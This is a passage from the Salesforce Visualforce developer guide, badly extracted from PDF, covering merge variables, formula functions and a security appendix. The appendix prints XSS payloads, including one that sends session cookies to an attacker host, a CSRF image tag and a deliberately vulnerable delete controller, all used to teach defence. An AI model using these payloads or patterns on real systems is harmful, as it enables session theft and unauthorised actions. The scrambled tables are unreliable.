Label forgot_password forgot_password_conrmation forgot_your_password_q get_in_touch go_to_login_page img_path in_maintenance limit_exceeded login login_button login_or_register_rst logout new_password new_user_q old_password page_not_found page_not_found_detail password passwords_dont_match powered_by register resistration_conrmation site_login site_under_construction sorry_for_inconvenience sorry_for_inconvenience_back_shortly stay_tuned submit temp_password_sent thank_you_for_registering under_construction user_registration
Message Forgot Password Forgot Password Conrmation Forgot Your Password? Please <a href="{0}">{1}</a> if you need to get in touch. Go to Login Page /img/sites Down For Maintenance Limit Exceeded Login Login You must rst log in or register before accessing this page. Logout New Password New User? Old Password Page Not Found Page Not Found: {0} Password Passwords did not match. Powered by Register Registration Conrmation Site Login Site Under Construction Sorry for the inconvenience. Sorry for the inconvenience. We'll be back shortly. Stay tuned. Submit An email has been sent to you with your temporary password. Thank you for registering. An email has been sent to you with your temporary password. <i>{0}</i> is under construction New User Registration
378
Global Variables
Example
$ObjectType
Description A global merge eld type to use when referencing standard or custom objects such as accounts, cases, or opportunities as well as the value of a eld on that object. Use dot notation to specify an object, such as $ObjectType.Case. Optionally, select a eld on that object using the following syntax: $ObjectType.Role_Limit__c.Fields.Limit__c. Example The following example retrieves the label for the Account name eld:
{!$ObjectType.Account.Fields.Name.Label}
Use
You can also use dynamic references on page 128 to retrieve information about an object through $ObjectType. For example,
{!$ObjectType.Account.Fields['Name'].Type}
$Organization
Description A global merge eld type to use when referencing information about your company prole. Use organization merge elds to reference your organization's city, fax, ID, or other details. Use dot notation to access your organization's information. For example:
{!$Organization.Street} {!$Organization.State}
Use
The values returned for the elds are the values currently stored as part of your company information in Salesforce.
379
Global Variables
Note that you cannot use the UiSkin $Organization value in Visualforce. Example
{!$Organization.Phone}
$Page
Description Use Example A global merge eld type to use when referencing a Visualforce page. Use this expression in a Visualforce page to access another Visualforce page.
<apex:page> <h1>Linked</h1> <apex:outputLink value="{!$Page.otherPage}"> This is a link to another page. </apex:outputLink> </apex:page>
$Profile
Description A global merge eld type to use when referencing information about the current user's prole. Use prole merge elds to reference information about the user's prole such as license type or name. Use dot notation to access your organization's information. Note that you cannot use the following $Profile values in Visualforce: Example
LicenseType UserType
{!$Profile.Id} {!$Profile.Name}
Use
$Resource
Description A global merge eld type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource merge elds in URLFOR functions to reference a particular le in a static resource archive. Use $Resource to reference an existing static resource. The format is $Resource.nameOfResource, such as $Resource.TestImage.
Use
380
Global Variables
Examples
The Visualforce component below references an image le that was uploaded as a static resource and given the name TestImage:
<apex:image url="{!$Resource.TestImage}" width="50" height="50" />
To reference a le in an archive (such as a .zip or .jar le), use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the rst parameter, and the path to the desired le within the archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50" />
$SControl
Description Use Examples A global merge eld type to use when referencing an existing custom s-control by name. This merge eld type results in a URL to a page where the s-control executes. Use dot notation to access an existing s-control by its name. The following example shows how to link to an s-control named HelloWorld in a Visualforce page:
<apex:page> <apex:outputLink value="{!$SControl.HelloWorld}">Open the HelloWorld s-control</apex:outputLink> </apex:page>
Note that if you simply want to embed an s-control in a page, you can use the <apex:scontrol> tag without the $SControl merge eld. For example:
<apex:page> <apex:scontrol controlName="HelloWorld" /> </apex:page>
$Site
Description Use A global merge eld type to use when referencing information about the current Force.com site. Use dot notation to access information about the current Force.com site. Note that only the following site elds are available: Merge Field {!$Site.Name} {!$Site.Domain} Description Returns the API name of the current site. Returns the Force.com domain name for your organization.
381
Global Variables
Description Returns the value of the Custom Web Address eld for the current site. Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null. Returns the value of the site URL for the current request (for example, http://myco.com/ or https://myco.force.com/prefix/). Returns true if the current site is associated with an active login-enabled portal; otherwise returns false. Returns true if the current site is associated with an active self-regitration-enabled Customer Portal; otherwise returns false. For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false. Returns the value of the Site Contact eld for the current site. Returns the URL path prex of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prex. Returns null if the prex is not dened, or if the page was accessed using a custom Web address. Returns the template name associated with the current site; returns the default template if no template has been designated. Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string. The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.
{!$Site.LoginEnabled} {!$Site.RegistrationEnabled}
{!$Site.IsPasswordExpired}
{!$Site.AdminEmailAddress} {!$Site.Prex}
{!$Site.Template}
{!$Site.ErrorMessage}
{!$Site.ErrorDescription}
{!$Site.AnalyticsTrackingCode}
Example
The following example shows how to use the $Site.Template merge eld:
<apex:page title="Job Application Confirmation" showHeader="false" standardStylesheets="true"> <!-- The site template provides layout & style for the site --> <apex:composition template="{!$Site.Template}"> <apex:define name="body"> <apex:form> <apex:commandLink value="<- Back to Job Search" onclick="window.top.location='{!$Page.PublicJobs}';return false;"/>
382
Global Variables
<br/> <br/> <center><apex:outputText value="Your application has been saved. Thank you for your interest!"/></center> <br/> <br/> </apex:form> </apex:define> </apex:composition> </apex:page>
$System.OriginDateTime
Description Use Example A global merge eld that represents the literal value of 1900-01-01 00:00:00. Use this global variable when performing date/time offset calculations or to assign a literal value to a data/time eld. The following example calculates the number of days that have passed since 1900:
{!NOW() - $System.OriginDateTime}
$User
Description A global merge eld type to use when referencing information about the current user. User merge elds can reference information about the user such as alias, title, and ID. Use dot notation to access the current user's information. For example:
{!IF (CONTAINS($User.Alias, Smith) True, False)}
Use
Example
The following example displays the current user's company name, as well as the status of the current user (which returns a Boolean value.)
<apex:page> <h1>Congratulations</h1> This is your new Page <p>The current company name for this user is: {!$User.CompanyName}</p> </apex:page>
383
Global Variables
Example
The section Styling Visualforce Pages in the Visualforce Developer's Guide provides more information on how to use these global variables.
$UserRole
Description A global merge eld type to use when referencing information about the current user's role. Role merge elds can reference information such as role name, description, and ID.
384
Functions
Use
Use dot notation to access information about the current user's role. Note that you cannot use the following $UserRole values in Visualforce:
CaseAccessForAccountOwner ContactAccessForAccountOwner OpportunityAccessForAccountOwner PortalType
{!$UserRole.LastModifiedById}
Example
Functions
You can use the following operators and functions in your Visualforce pages.
Math Operators
Operator + Description Calculates the sum of two values. Use
value1 + value2 and replace each value with merge elds, expressions, or
other numeric values. Calculates the difference of two values. value1 - value2 and replace each value with merge elds, expressions, or other numeric values. Multiplies its values.
value1 * value2 and replace each value with merge elds, expressions, or
other numeric values. ^ Raises a number to a power of a specied number^integer and replace number number. with a merge eld, expression, or another numeric value; replace integer with a merge eld that contains an integer, expression, or any integer. Species that the expressions within the open parenthesis and close parenthesis are evaluated rst. All other expressions are evaluated using standard operator precedence.
(expression1) expression2... and replace each expression with
()
385
Functions
Logical Operators
Operator = and == Description Evaluates if two values are equivalent. Use
expression1=expression2 or expression1 == expression2, and replace each expression with merge
elds, expressions, or other numeric values. <> and != Evaluates if two values are not equivalent. expression1 <> expression2 or expression1 != expression2, and replace each expression with merge elds, expressions, or other numeric values. Evaluates if a value is less than the value value1 < value2 and replace each that follows this symbol. value with merge elds, expressions, or other numeric values. Evaluates if a value is greater than the value that follows this symbol.
value1 > value2 and replace each value with merge elds, expressions, or
<
>
other numeric values. <= Evaluates if a value is less than or equal value1 <= value2 and replace each to the value that follows this symbol. value with merge elds, expressions, or other numeric values. Evaluates if a value is greater than or equal to the value that follows this symbol.
value1 >= value2 and replace each value with merge elds, expressions, or
>=
&&
Evaluates if two values or expressions are (logical1) && (logical2) and both true. Use this operator as an replace logical1 and logical2 with alternative to the logical function AND. the values or expressions that you want evaluated. Evaluates if at least one of multiple values or expressions is true. Use this operator as an alternative to the logical function OR.
(logical1) || (logical2) and
||
replace any number of logical references with the values or expressions you want evaluated.
Text Operators
Operator & Description Connects two or more strings. Use
string1&string2 and replace each string with merge elds, expressions,
or other values.
386
Functions
Function DATE
Description Returns a date value from year, month, and day values you enter. Salesforce displays an error on the detail page if the value of the DATE function in a formula eld is an invalid date, such as February 29 in a non-leap year. Returns a date value for a date/time or text expression.
Use
DATE(year,month,day) and replace year with a four-digit year, month with a two-digit month, and day with a
two-digit day.
DATEVALUE
value, merge eld, or expression. DAY MONTH Returns a day of the month in the form DAY(date) and replace date with a of a number between 1 and 31. date eld or value such as TODAY(). Returns the month, a number between 1 ( January) and 12 (December) in number format of a given date. Returns a date/time representing the current moment. The NOW function returns the current date and time in the GMT timezone. {!NOW()} For example:
Today's date and time is: {!NOW()}
the eld or expression for the date containing the month you want returned.
NOW()
NOW
Tips Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use addition or subtraction operators and a number with a NOW function to return a different date and time. For example {!NOW() +5} calculates the date and time ve days ahead of now. If you prefer to use a date time eld, use TODAY.
TODAY()
TODAY
Returns the current date as a date data type. The TODAY function returns the current day. For example, The following markup:
Today's date is: {!TODAY()}
387
Functions
Function
Use
Tips Do not remove the parentheses. Keep the parentheses empty. They do not need to contain a value. Use addition and subtraction operators with a TODAY function and numbers to return a date. For example {!TODAY() +7} calculates the date seven days ahead of now. If you prefer to use a date time eld, use NOW.
YEAR(date) and replace date with the
YEAR
Informational Functions
Function BLANKVALUE Description Determines if an expression has a value and returns a substitute expression if it does not. If the expression has a value, returns the value of the expression. Use
BLANKVALUE(expression, substitute_expression) and replace expression with the expression you
value you want to replace any blank values. ISBLANK Determines if an expression has a value ISBLANK(expression) and replace and returns TRUE if it does not. If it expression with the expression you contains a value, this function returns want evaluated. FALSE. Determines if an expression is null (blank) and returns a substitute expression if it is. If the expression is not blank, returns the value of the expression.
NULLVALUE(expression, substitute_expression) and replace expression with the expression you
NULLVALUE
value you want to replace any blank values. PRIORVALUE Returns the previous value of a eld.
PRIORVALUE(field)
388
Functions
Logical Functions
Function AND Description Returns a TRUE response if all values are true; returns a FALSE response if one or more values are false. The following markup displays the word Small if the price and quantity are less than one. This eld is blank if the asset has a price or quantity greater than one.
{!IF(AND(Price < 1, Quantity < 1), "Small", null)}
Use
AND(logical1,logical2,...) and replace logical1,logical2,... with
You can use && instead of the word AND in your Visualforce markup. For example,
AND(Price < 1, Quantity < 1) is the same as (Price < 1) && (Quantity < 1).
Make sure the value_if_true and value_if_false expressions have the same data type.
CASE(expression,value1, result1, value2, result2,..., else_result) and replace expression with the eld or value you
CASE
Checks a given expression against a series of values. If the expression is equal to a value, returns the corresponding result. If it is not equal to any values, it returns the else_result.
want compared to each specied value. Replace each value and result with the value that must be equivalent to return the result entry. Replace else_result with the value you want returned when the expression does not equal any values.
IF(logical_test, value_if_true, value_if_false) and replace logical_test with the
IF
Determines if expressions are true or false. Returns a given value if true and another value if false.
expression you want evaluated; replace The following markup returns Private value_if_true with the value you if the opportunity IsPrivate eld is set to true; it returns Not Private if the want returned if the expression is true; replace value_if_false with the value eld is set to false. you want returned if the expression is false. {!IF(opportunity.IsPrivate,
"Private", "Not Private")}
389
Functions
Function ISCHANGED
Description
Use
Compares the value of a eld to the ISCHANGED(field) and replace field previous value and returns TRUE if the with the name of the eld you want to values are different. If the values are the compare. same, this function returns FALSE. Checks if the formula is running during ISNEW() the creation of a new record and returns TRUE if it is. If an existing record is being updated, this function returns FALSE. Determines if a text value is a number ISNUMBER(text) and replace text and returns TRUE if it is. Otherwise, it with the merge eld name for the text returns FALSE. eld. Returns FALSE for TRUE and TRUE NOT(logical) and replace logical for FALSE. with the expression that you want evaluated. The following markup returns the value of ReportAcct if the account IsActive eld is set to false. It returns the value of SaveAcct if IsActive is set to true.
{!IF(NOT(Account.IsActive)ReportAcct, SaveAcct)}
ISNEW
ISNUMBER
NOT
You can use ! instead of the word NOT in your Visualforce markup. For example, NOT(Account.IsActive) is the same as !Account.IsActive). OR Determines if expressions are true or OR(logical1, logical2...) and false. Returns TRUE if any expression replace any number of logical references is true. Returns FALSE if all expressions with the expressions you want evaluated. are false. The following markup will return the value of VerifyAcct if either account eld IsActive__c or IsNew__c is set to true.
{!IF(OR(Account.IsActive__c, Account.IsNew__C)) VerifyAcct, CloseAcct)}
You can use || instead of the word OR in your Visualforce markup. For example, OR(Price < 1, Quantity < 1) is the same as ((Price < 1) || (Quantity < 1)).
390
Functions
Math Functions
Function ABS Description Calculates the absolute value of a number. The absolute value of a number is the number without its positive or negative sign. Rounds a number up to the nearest integer. Use
ABS(number) and replace number with
a merge eld, expression, or other numeric value that has the sign you want removed.
CEILING(number) and replace number
CEILING
EXP FLOOR
Returns a value for e raised to the power EXP(number) and replace number with of a number you specify. a number eld or value such as 5. Returns a number rounded down to the FLOOR(number) and replace number nearest integer. with a number eld or value such as 5.245. Returns the natural logarithm of a LN(number) and replace number with specied number. Natural logarithms are the eld or expression for which you based on the constant e value of want the natural logarithm. 2.71828182845904. Returns the base 10 logarithm of a number.
LOG(number) and replace number with
LN
LOG
the eld or expression from which you want the base 10 logarithm calculated.
MAX
Returns the highest number from a list MAX(number, number,...) and of numbers. replace number with the elds or expressions from which you want to retrieve the highest number. Returns the lowest number from a list of MIN(number, number,...) and numbers. replace number with the elds or expressions from which you want to retrieve the lowest number. Returns a remainder after a number is divided by a specied divisor.
MOD(number, divisor) and replace number with the eld or expression you want divided; replace divisor with the
MIN
MOD
number to use as the divisor. ROUND Returns the nearest number to a number ROUND(number, num_digits) and you specify, constraining the new number replace number with the eld or by a specied number of digits. expression you want rounded; replace num_digits with the number of decimal places you want to consider when rounding. Returns the positive square root of a given number.
SQRT(number) and replace number
SQRT
with the eld or expression you want computed into a square root.
391
Functions
Text Functions
Function BEGINS Description Use
Determines if text begins with specic BEGINS(text, compare_text) and characters and returns TRUE if it does. replace text, compare_text with the Returns FALSE if it does not. characters or elds you want to compare. The following markup will return true if the opportunity StageName eld begins with the string Closed. Standard stage names Closed Won and Closed Lost would both return true.
{!BEGINS(opportunity.StageName, 'Closed')}
This function is case sensitive so be sure your compare_text value has the correct capitalization. Also, this function only works with text, not with numbers or other data types. BR CONTAINS Inserts a line break in a string of text. Compares two arguments of text and returns TRUE if the rst argument contains the second argument. If not, returns FALSE. The following example checks the content of a custom text eld named Product_Type and returns Parts for any product with the word part in it. Otherwise, it returns Service.
{ ! I F ( c o n t a i n s ( o p p o r t u n i t y . P r o d u c t _ T y p e _ _ c , "part"), "Parts", "Service")}
BR() CONTAINS(text, compare_text) and replace text with the text that contains the value of compare_text.
This function is case sensitive so be sure your compare_text value has the correct capitalization. FIND Returns the position of a string within a FIND(search_text, text[, string of text represented as a number. start_num]) and replace search_text with the string you want to nd, replace text with the eld or expression you want to search, and replace start_num with the number of the character from which to start searching from left to right. Returns the users session ID.
GETSESSIONID()
GETSESSIONID
392
Functions
Function HTMLENCODE
Description
Use
Encodes text and merge eld values for {!HTMLENCODE(text)} and replace use in HTML by replacing characters text with the merge eld or text string that are reserved in HTML, such as the that contains the reserved characters. greater-than sign (>), with HTML entity equivalents, such as >. Creates a link to a URL specied that is HYPERLINK(url, friendly_name linkable from the text specied. [,target]) and replace url with the Web address, replace friendly_name with the link text, and, optionally, replace target with the window or frame in which to display the content. Inserts an image with alternate text and IMAGE(image_url, height/width specications. alternate_text, height, width) and replace image_url with the full path to the image; replace alternate_text with the string of text you want displayed when you hover your mouse over the image; replace height with the vertical size of the image in pixels; replace width with the horizontal size of the image in pixels. Determines if any value selected in a multi-select picklist eld equals a text literal you specify.
INCLUDES(multiselect_picklist_field, text_literal) and replace multiselect_picklist_field with
HYPERLINK
IMAGE
INCLUDES
the merge eld name for the multi-select picklist; and replace text_literal with the multi-select picklist value you want to match in quotes. ISPICKVAL Determines if the value of a picklist eld ISPICKVAL(picklist_field, is equal to a text literal you specify. text_literal) and replace picklist_field with the merge eld name for the picklist; replace text_literal with the picklist value in quotes. text_literal cannot be a merge eld or the result of a function. Encodes text and merge eld values for {!JSENCODE(text)} and replace text use in JavaScript by inserting escape with the merge eld or text string that characters, such as a backslash (\), before contains the unsafe JavaScript characters. unsafe JavaScript characters, such as the apostrophe ('). Encodes text and merge eld values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents.
{!JSINHTMLENCODE(text)} and replace text with the merge eld or text
JSENCODE
JSINHTMLENCODE
393
Functions
Function LEFT
Description Returns the specied number of characters from the beginning of a text string.
Use
LEFT(text, num_chars) and replace text with the eld or expression you want returned; replace num_chars with
the number of characters from the left you want returned. LEN Returns the number of characters in a specied text string.
{!LEN(Account.name)} returns the LEN(text) and replace text with the
number of characters in the Account name. LEN counts spaces as well as characters. {!LEN("The Spot")} returns 8. LOWER Converts all letters in the specied text string to lowercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided.
LOWER(text, [locale]) and replace text with the eld or text you wish to convert to lowercase. and locale with
the optional two-character ISO language code or ve-character locale code, if available. For information on supported languages, see What languages does Salesforce support? in the Salesforce online help.
LPAD(text, padded_length[, pad_string]) and replace the variables:
LPAD
want to insert characters to the left of. padded_length is the number of total characters in the text that will be returned. pad_string is the character or characters that should be inserted. pad_string is optional and defaults to a blank space.
If the value in text is longer than pad_string, text is truncated to the size of padded_length. MID Returns the specied number of characters from the middle of a text string given the starting position.
MID(text, start_num, num_chars) and replace text with the
eld or expression to use when returning characters; replace start_num with the number of characters from the left to use as a starting position; replace num_chars with the total number of characters to return.
394
Functions
Function RIGHT
Description
Use
Returns the specied number of RIGHT(text, num_chars) and characters from the end of a text string. replace text with the eld or expression you want returned; replace num_chars with the number of characters from the right you want returned. Inserts characters that you specify to the RPAD(text, padded_length[, right-side of a text string. 'pad_string']) and replace the variables:
text is the eld or expression after
RPAD
which you want to insert characters. pad_length is the number of total characters in the text string that will be returned. pad_string is the character or characters that should be inserted. pad_string is optional and defaults to a blank space.
If the value in text is longer than pad_string, text is truncated to the size of padded_length. SUBSTITUTE Substitutes new text for old text in a text SUBSTITUTE(text, old_text, string. new_text) and replace text with the eld or value for which you want to substitute values, old_text with the text you want replaced, and new_text with the text you want to replace the old_text. Converts a percent, number, date, date/time, or currency type eld into text anywhere formulas are used. Also, converts picklist values to text in validation rules, formula elds, and eld updates. Removes the spaces and tabs from the beginning and end of a text string. Converts all letters in the specied text string to uppercase. Any characters that are not letters are unaffected by this function. Locale rules are applied if a locale is provided.
TEXT(value) and replace value with
TEXT
the eld or expression you want to convert to text format. Avoid using any special characters besides a decimal point (period) or minus sign (dash) in this function.
TRIM(text) and replace text with the
TRIM UPPER
wish to convert to uppercase, and locale with the optional two-character ISO language code or ve-character locale code, if available. For information on supported languages, see What languages does Salesforce support? in the Salesforce online help.
395
Functions
Function URLENCODE
Description
Use
Encodes text and merge eld values for {!URLENCODE(text)} and replace use in URLs by replacing characters that text with the merge eld or text string are illegal in URLs, such as blank spaces, that you want to encode. with the code that represent those characters as dened in RFC 3986, Uniform Resource Identier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21. Converts a text string to a number.
VALUE(text) and replace text with
VALUE
Advanced Functions
Function GETRECORDIDS Description Use
Returns an array of strings in the form {!GETRECORDIDS(object_type)} of record IDs for the selected records in and replace object_type with a a list, such as a list view or related list. reference to the custom or standard object for the records you want to retrieve. Returns content from an s-control snippet. Use this function to reuse common code in many s-controls.
{!INCLUDE(source, [inputs])} and replace source with the s-control
INCLUDE
snippet you want to reference. Replace inputs with any information you need to pass to the snippet.
LINKTO
Returns a relative URL in the form of a {!LINKTO(label, target, id, link (href and anchor tags) for a custom [inputs], [no override]} and s-control or Salesforce page. replace label with the text for the link, target with the URL, and id with a reference to the record. Inputs are optional and can include any additional parameters you want to add to the link. The no override argument is also optional and defaults to false. It applies to targets for standard Salesforce pages such as $Action.Account.New. Replace no override with true when you want to display a standard Salesforce page regardless of whether you have dened an override for it elsewhere. Compares a text eld to a regular expression and returns TRUE if there is a match. Otherwise, it returns FALSE. A regular expression is a string used to describe a format of a string according to certain syntax rules.
REGEX(text, regex_text) and replace text with the text eld, and regex_text with the regular expression
REGEX
396
Functions
Function REQUIRESCRIPT
Description
Use
Returns a script tag with source for a {!REQUIRESCRIPT(url)} and replace URL you specify. Use this function when url with the link for the script that is referencing the Force.com AJAX Toolkit required. or other JavaScript toolkits. Returns a relative URL for an action, s-control, Visualforce page, or a le in a static resource archive in a Visualforce page. External websites can use absolute URLs for use in certain Visualforce components, such as <flow:interview>.
{!URLFOR(target, id, [inputs], [no override])} and replace target
URLFOR
with the URL or action, s-control, or static resource merge variable, id with a reference to the record, and inputs with any optional parameters. The no override argument is also optional and This can be used to return a reference to defaults to false. It applies to targets for standard Salesforce pages such as a le contained in a static resource $Action.Account.New. Replace no archive (such as a .zip or .jar le). override with true when you want to {!URLFOR(resource, path)} Replace resource with the name of the display a standard Salesforce page regardless of whether you have dened static resource archive expressed as a an override for it elsewhere. merge variable (for example, $Resource.resourceName), andpath To access a Visualforce page, simple with the local path to the le in the enter the name of your page preceeded archive that you want to reference. by an apex/. For example, if your Visualforce page is named myTestPage, you would use {!URLFOR("apex/myTestPage"}. VLOOKUP Returns a value by looking up a related value on a custom object similar to the VLOOKUP() Excel function.
VLOOKUP(field_to_return, field_on_lookup_object, lookup_value) and replace field_to_return with the eld that
contains the value you want returned, field_on_lookup_object with the eld on the related object that contains the value you want to match, and lookup_value with the value you want to match.
Encoding Functions
Function HTMLENCODE Description Use
Encodes text and merge eld values for {!HTMLENCODE(text)} and replace use in HTML by replacing characters text with the merge eld or text string that are reserved in HTML, such as the that contains the reserved characters. greater-than sign (>), with HTML entity equivalents, such as >.
397
Expression Operators
Function JSENCODE
Description
Use
Encodes text and merge eld values for {!JSENCODE(text)} and replace text use in JavaScript by inserting escape with the merge eld or text string that characters, such as a backslash (\), before contains the unsafe JavaScript characters. unsafe JavaScript characters, such as the apostrophe ('). Encodes text and merge eld values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents.
{!JSINHTMLENCODE(text)} and replace text with the merge eld or text
JSINHTMLENCODE
URLENCODE
Encodes text and merge eld values for {!URLENCODE(text)} and replace use in URLs by replacing characters that text with the merge eld or text string are illegal in URLs, such as blank spaces, that you want to encode. with the code that represent those characters as dened in RFC 3986, Uniform Resource Identier (URI): Generic Syntax. For example, blank spaces are replaced with %20, and exclamation points are replaced with %21.
Expression Operators
Expressions can be joined to one another with operators to create compound expressions. Visualforce supports the following operators: Operator
+ * / ^ () = <> < > <= >=
Description Calculates the sum of two values. Calculates the difference of two values. Multiplies its values. Divides its values. Raises a number to a power of a specied number. Species that the expressions within the open parenthesis and close parenthesis are evaluated rst. All other expressions are evaluated using standard operator precedence. Evaluates if two values are equivalent. Evaluates if two values are not equivalent. Evaluates if a value is less than the value that follows this symbol. Evaluates if a value is greater than the value that follows this symbol. Evaluates if a value is less than or equal to the value that follows this symbol. Evaluates if a value is greater than or equal to the value that follows this symbol.
398
Expression Operators
Operator
&
399
Appendix
B
Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for Force.com AppExchange, it is important that developers learn and understand the security aws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/index.php/Security.
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
400
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: http://www.owasp.org/index.php/Cross_Site_Scripting http://www.cgisecurity.com/articles/xss-faq.shtml http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented lters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS aws have been largely mitigated. However, the creative developer can still nd ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS lters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to < so that a literal < displays on the user's screen.
<apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText>
401
<apex:includeScript> The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript le from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed. There are several functions that you can use for escaping potentially insecure strings. HTMLENCODE The HTMLENCODE function encodes text strings and merge eld values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than sign (>), with HTML entity equivalents, such as >. JSENCODE The JSENCODE function encodes text strings and merge eld values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe JavaScript characters, such as the apostrophe (').
402
JSINHTMLENCODE The JSINHTMLENCODE function encodes text strings and merge eld values for use in JavaScript within HTML tags by inserting escape characters before unsafe JavaScript characters and replacing characters that are reserved in HTML with HTML entity equivalents. URLENCODE The URLENCODE function encodes text strings and merge eld values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the code that represent those characters as dened in RFC 3986, Uniform Resource Identier (URI): Generic Syntax. For example, exclamation points are replaced with %21. To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded and the page displays Value of myTextField is <script>alert('xss'). Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts may vary. For instance, this statement:
<script>var ret = "{!$CurrentPage.parameters.retURL}";script>var ret = "{!$CurrentPage.parameters.retURL}";</script>
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
The JavaScript executes, and the alert is displayed. In this case, to prevent the JavaScript being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external sources and may not have been screened for malicious content.
403
SOQL Injection
any Web page, including one that provides valuable services or information that drives trafc to that site. Somewhere on the attacker's page is an HTML tag that looks like this:
<img src="http://www.yourwebpage.com/yourapplication/[email protected]&type=admin....." height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods. For more information and traditional defenses, see the following articles: http://www.owasp.org/index.php/Cross-Site_Request_Forgery http://www.cgisecurity.com/articles/csrf-faq.shtml http://shiett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page includes a random string of characters as a hidden form eld. Upon the next page load, the application checks the validity of this string of characters and does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard controllers and methods. Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page> public class myClass { public void init() { Id id = ApexPages.currentPage().getParameters().get('id'); Account obj = [select id, Name FROM Account WHERE id = :id]; delete obj; return ; } }
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page using a CSRF attack and provided any value they wish for the id parameter. There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate conrmation page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while authenticated.
SOQL Injection
